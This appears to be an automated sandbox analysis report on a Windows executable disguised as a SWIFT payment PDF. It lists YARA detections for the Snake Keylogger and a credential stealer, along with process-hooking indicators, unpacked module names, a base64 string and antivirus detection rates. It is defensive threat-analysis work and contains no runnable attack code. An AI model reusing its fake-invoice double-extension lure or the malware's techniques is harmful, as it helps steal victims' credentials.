Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Swift Copy TT USDUSD$23,401.PDF.exe

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_02AAEFE4	0_2_02AAEFE4
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07637E40	0_2_07637E40
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076356D0	0_2_076356D0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763EB68	0_2_0763EB68
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D1F0	0_2_0763D1F0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07637800	0_2_07637800
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076368E2	0_2_076368E2
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07636760	0_2_07636760
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763775F	0_2_0763775F
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07637727	0_2_07637727
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076347EA	0_2_076347EA
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076377C7	0_2_076377C7
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076377DB	0_2_076377DB
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07635EE0	0_2_07635EE0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076376FF	0_2_076376FF
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639EC5	0_2_07639EC5
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639EC8	0_2_07639EC8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D6C8	0_2_0763D6C8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D6D8	0_2_0763D6D8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_076356B0	0_2_076356B0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639698	0_2_07639698
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D478	0_2_0763D478
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763E478	0_2_0763E478
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639C28	0_2_07639C28
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639C38	0_2_07639C38
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D488	0_2_0763D488
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763E488	0_2_0763E488
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763EB66	0_2_0763EB66
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639AC8	0_2_07639AC8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07639AB8	0_2_07639AB8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D920	0_2_0763D920
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D930	0_2_0763D930
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763D1B3	0_2_0763D1B3
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07638849	0_2_07638849
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07638858	0_2_07638858
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763F028	0_2_0763F028
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763F038	0_2_0763F038
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0763A089	0_2_0763A089
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_0788C0C8	0_2_0788C0C8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07888717	0_2_07888717
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07888728	0_2_07888728
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07886680	0_2_07886680
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07886248	0_2_07886248
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07885E10	0_2_07885E10
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07887D28	0_2_07887D28
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 0_2_07883821	0_2_07883821
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CC146	2_2_010CC146
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C5370	2_2_010C5370
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CD278	2_2_010CD278
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CC468	2_2_010CC468
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CC738	2_2_010CC738
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CE988	2_2_010CE988
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C69A0	2_2_010C69A0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CCA08	2_2_010CCA08
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C9DE0	2_2_010C9DE0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CCCD8	2_2_010CCCD8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CCFAA	2_2_010CCFAA
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C6FC8	2_2_010C6FC8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C3E09	2_2_010C3E09
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CF961	2_2_010CF961
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010CE97A	2_2_010CE97A
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C29EC	2_2_010C29EC
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_010C3AB1	2_2_010C3AB1
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A1FA8	2_2_069A1FA8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A9448	2_2_069A9448
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A9D38	2_2_069A9D38
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A2A90	2_2_069A2A90
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A1850	2_2_069A1850
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A5148	2_2_069A5148
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AD670	2_2_069AD670
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A9668	2_2_069A9668
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AD660	2_2_069AD660
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A1F9C	2_2_069A1F9C
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AE7D0	2_2_069AE7D0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AE7C0	2_2_069AE7C0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069ADF1E	2_2_069ADF1E
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069ADF20	2_2_069ADF20
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AF4D8	2_2_069AF4D8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A8CC0	2_2_069A8CC0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AEC18	2_2_069AEC18
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AEC28	2_2_069AEC28
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069ACDC0	2_2_069ACDC0
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069ADAB9	2_2_069ADAB9
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069ADAC8	2_2_069ADAC8
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AD218	2_2_069AD218
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AD209	2_2_069AD209
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A0B30	2_2_069A0B30
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A0B20	2_2_069A0B20
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AE378	2_2_069AE378
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AE36A	2_2_069AE36A
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AF080	2_2_069AF080
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A0006	2_2_069A0006
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A0040	2_2_069A0040
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A1841	2_2_069A1841
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AF071	2_2_069AF071
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069A5138	2_2_069A5138
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AF930	2_2_069AF930
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Code function: 2_2_069AF922	2_2_069AF922

Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1679052226.0000000008AF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1669150995.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000002.1673192115.0000000002EDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000000.00000000.1646539842.00000000009A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameYuCz.exeB vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4104888758.0000000000446000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4105094892.0000000000D77000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Swift Copy TT USDUSD$23,401.PDF.exe
Source: Swift Copy TT USDUSD$23,401.PDF.exe	Binary or memory string: OriginalFilenameYuCz.exeB vs Swift Copy TT USDUSD$23,401.PDF.exe

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, --C.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, --C.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, ----.cs

Base64 encoded string: 'KjlXwXHz67L4/KTtyJSSs4dh5aVfF5nOygiszyttgV0XZccffFNqgU5c02Mta8vw'

Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, QN8LhUv7Bq01pTrSfL.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, sphcUmQKOWkVh4kjRk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, sphcUmQKOWkVh4kjRk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, sphcUmQKOWkVh4kjRk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.8af0000.6.raw.unpack, sphcUmQKOWkVh4kjRk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, sphcUmQKOWkVh4kjRk.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, sphcUmQKOWkVh4kjRk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@4/3

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Swift Copy TT USDUSD$23,401.PDF.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Mutant created: NULL

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Swift Copy TT USDUSD$23,401.PDF.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Swift Copy TT USDUSD$23,401.PDF.exe	Virustotal: Detection: 47%
Source: Swift Copy TT USDUSD$23,401.PDF.exe	ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe"
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process created: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe"
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Process created: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Section loaded: mscoree.dll	Jump to behavior
